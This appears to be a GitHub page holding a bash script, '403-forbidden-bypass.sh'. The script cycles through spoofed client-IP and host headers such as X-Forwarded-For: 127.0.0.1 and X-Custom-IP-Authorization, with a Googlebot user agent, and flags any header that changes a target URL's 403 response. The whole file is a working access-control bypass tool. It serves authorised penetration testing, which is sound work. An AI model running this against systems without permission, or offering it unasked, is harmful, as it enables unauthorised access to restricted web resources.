-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy path403-forbidden-bypass.sh
56 lines (51 loc) · 1.38 KB
/
403-forbidden-bypass.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/bin/bash
if [ $# -ne 1 ]; then
echo "usage: "$0 "<URL>"
exit 1
fi
RESTORE=$(echo -en '\001\033[0m\002')
GREEN=$(echo -en '\001\033[00;32m\002')
FILE=./out.html
headers=(
"Forwarded: 127.0.0.1"
"Forwarded-For: 127.0.0.1"
"Forwarded-For-Ip: 127.0.0.1"
"X-Client-IP: 127.0.0.1"
"X-Custom-IP-Authorization: 127.0.0.1"
"X-Forward: 127.0.0.1"
"X-Forwarded: 127.0.0.1"
"X-Forwarded-By: 127.0.0.1"
"X-Forwarded-For: 127.0.0.1"
"X-Forwarded-For-Original: 127.0.0.1"
"X-Forwared-Host: 127.0.0.1"
"X-Host: 127.0.0.1"
"X-Originating-IP: 127.0.0.1"
"X-Remote-IP: 127.0.0.1"
"X-Remote-Addr: 127.0.0.1"
"X-Forwarded-Server: 127.0.0.1"
"X-HTTP-Host-Override: 127.0.0.1"
"Forwarded: localhost"
"Forwarded-For: localhost"
"X-Forward: localhost"
"X-Forwarded: localhost"
"X-Forwarded-By: localhost"
"X-Forwarded-For: localhost"
"X-Forwarded-For-Original: localhost"
"X-Forwared-Host: localhost"
"X-Host: localhost"
"X-Remote-Addr: localhost"
"X-Forwarded-Server: localhost"
)
echo "Staring! please wait..."
for header in "${headers[@]}"; do
code=$(curl -sLgk -A 'Googlebot' "$1" -H "${header}" -o $FILE -w '%{http_code}')
[ -z $old_code ] && old_code=$code
if [[ $code -ne $old_code ]]; then
header=$(echo "${GREEN}$header${RESTORE}")
old_code=$code
else
http_code=$code
fi
printf 'RESPONSE CODE: %-10s \tSIZE: %-10s \t HEADER: %-10s\n' $code $(wc -c < $FILE) "$header"
done
rm $FILE